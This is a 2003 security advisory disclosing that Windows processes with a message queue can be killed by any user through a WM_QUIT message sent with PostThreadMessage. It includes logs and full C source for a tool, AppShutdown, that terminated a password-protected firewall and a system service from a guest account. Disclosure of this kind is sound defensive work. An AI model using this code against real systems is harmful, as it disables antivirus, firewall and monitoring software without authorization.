

## Security-Assessment.com – Security Alert

<b>Name</b>	Process Killing - Playing with PostThreadMessage
<b>Date Released</b>	October 02, 2003
<b>Affected Software</b>	Microsoft Windows NT Microsoft Windows 2000 Microsoft Windows 2003 Microsoft Windows XP
<b>Researcher</b>	Brett Moore <a href="mailto:brett.moore@security-assessment.com">brett.moore@security-assessment.com</a>

### Background

While continuing our research into shatter attacks, we turned our attention to the PostThreadMessage API.

The PostThreadMessage function places (posts) a message in the message queue of the specified thread and then returns without waiting for the thread to process the message.

```
BOOL PostThreadMessage(  
    DWORD idThread, // thread identifier  
    UINT Msg,       // message to post  
    WPARAM wParam, // first message parameter  
    LPARAM lParam  // second message
```

The function fails if the specified thread does not have a message queue. The system creates a thread's message queue when the thread makes its first call to one of the Win32 USER or GDI functions.

It appears from our testing that any thread running under any security level will accept a WM\_QUIT message, causing the process to terminate.

**WM\_QUIT**  
The WM\_QUIT message indicates a request to terminate an application and is generated when the application calls the PostQuitMessage function.  
**Return Values**  
This message does not have a return value, because it causes the message loop to terminate before the message is sent to the application's window procedure.

Similar results can also be seen in some cases through the use of sending WM\_DESTROY or WM\_CLOSE messages.

While this does not have the security implications of 'privilege escalation' attacks, it may cause some concerns under certain circumstances.

For our testing we used a personal firewall that runs as a service, and requires a password before terminating. When run from a guest account Appshutdown was able to kill the firewall service and various other windows services.

This means that any user has the potential to shutdown;

- \* antivirus applications
- \* personal firewall applications
- \* filtering applications
- \* monitoring applications
- \* potentially critical system services.

The mitigating factor is that the thread is required to have a message queue.

## Example Logs

The test.exe process is the personal firewall that requires a password before shutting down.

The following logs are shortened outputs of the tlist and kill commands from the NTRK

```
C:\>tlist
208 WINLOGON.EXE    NetDDE Agent
1020 test.exe      TestFirewall
1132 mstask.exe    SYSTEM AGENT COM WINDOW

C:\>kill 1020
process test.exe (1020) - 'TestFirewall' killed
C:\>kill 208
process WINLOGON.EXE (208) - 'NetDDE Agent' killed
```

Although kill results in the messages above, what really happened was;

- a) the password prompt appeared when trying to kill 1020
- b) the service remained running when trying to kill 208

```
C:\>appshutdowndown "TestFirewall"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com

+ Finding TestFirewall Window...
+ Found Main Window At...0x30038h
+ Finding Window Thread..0x42ch Process 0x3fch
+ Send Quit Message
+ Done...
C:\>appshutdowndown "NetDDE Agent"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com

+ Finding NetDDE Agent Window...
+ Found Main Window At...0x10018h
+ Finding Window Thread..0x110h Process 0xd0h
+ Send Quit Message
+ Done...
```

AppShutdown managed to successfully shutdown both services;

- a) bypassing the required password for the personal firewall
- b) bypassing the security restrictions placed on shutting down services

## Example Code

```
/*
 * Appshutdown.c
 *
 * Demonstrates the use of PostThreadMessage to;
 * - shutdown any application with a message handler
 *
 * The window title can be specified in code or on the command line
 *
 * Works against any application/service process that
 * has implemented a message handler
 */
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
    long hWnd,proc;
    DWORD hThread;
    printf("%% AppShutdown - Playing with PostThreadMessage\n");
    printf("%% brett.moore@security-assessment.com\n\n");
    // Specify Window Title On Command Line
    if (argc ==2)
        pWindow = argv[1];
    else
        pWindow = tWindow;

    printf("+ Finding %s Window...\n",pWindow);
    hWnd = (long)FindWindow(NULL,pWindow);
    if(hWnd == NULL)
    {
        printf("+ Couldn't Find %s Window\n",pWindow);
        return 0;
    }
    printf("+ Found Main Window At...0x%x\n",hWnd);
    printf("+ Finding Window Thread..");
    hThread = GetWindowThreadProcessId(hWnd,&proc);
    if(hThread == NULL)
    {
        printf("Failed\n");
        return 0;
    }
    printf("0x%x Process 0x%x\n",hThread,proc);
    printf("+ Send Quit Message\n");
    PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
    printf("+ Done...\n");
    return 0;
}
```

## Example Vulnerable Programs

From our testing, any process that implements a message queue is vulnerable to be shutdown by a user of any security level. In some instances bypassing shutdown password requirements. This attack must be run through an interactive logon.

# Security-Assessment

.com

For further information on this issue or any of our service offerings, contact us

Web [www.security-assessment.com](http://www.security-assessment.com)

Email [info@security-assessment.com](mailto:info@security-assessment.com)

Phone +649 302 5093